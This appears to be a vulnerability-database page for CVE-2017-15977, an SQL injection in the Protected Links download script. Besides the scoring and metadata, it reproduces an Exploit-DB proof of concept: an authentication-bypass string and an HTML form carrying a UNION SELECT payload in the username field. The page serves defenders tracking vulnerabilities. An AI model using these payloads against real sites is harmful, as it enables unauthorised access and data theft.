CVE-2017-15977

critical

Published 2017-10-31 · Modified 2026-05-13

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CVSS v3

9.8

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVSS v4 NEW

—

not yet in upstream

VIR risk

10.0

Description

Protected Links - Expiring Download Links 1.0 allows SQL Injection via the username parameter.

Predictions

Exploit likelihood

97%

Patch ETA

—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-43082 webapps php text · 1 KB

Ihsan Sencan · 2017-10-30

Protected Links - SQL Injection

text exploit Source: Exploit-DB

<!--
# # # # # 
# Exploit Title: Protected Links - Expiring Download Links - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://sixthlife.net/
# Software Link: https://codecanyon.net/item/protected-links-expiring-download-links/2556861
# Demo: http://protectedlinks.net/demo/
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15977
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/admin
# 
# User: 'or 1=1 or ''=' Pass: anything
# 
# Etc..
# # # # #
-->
<form name="login" method="post" action="http://localhost/[PATH]/index.php">
<div id="login">
<table width="200" border="0">
<tr>
<td height="45"><p>Username</p></td>
<td><label for="textfield"></label>
<input type="text" name="username" id="textfield" value="' UNION ALL SELECT 1,CONCAT(VERSiON(),0x494853414e2053454e43414e),3,4,CONCAT(0x494853414e2053454e43414e)-- Ver Ayari"/></td>
</tr>
<tr>
<td height="45">Password</td>
<td><label for="textfield"></label>
<input type="password" name="password" id="textfield" value="Ver Ayari"/></td>
</tr>
</table>
</div>
<input type="submit" name="submit" value="LOGIN" />
</form>

Application impact

Vendor	Product	Versions	Fixed
protectedlinks	expiring_download_links	`1.0`

References

CWEs

CWE-89

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.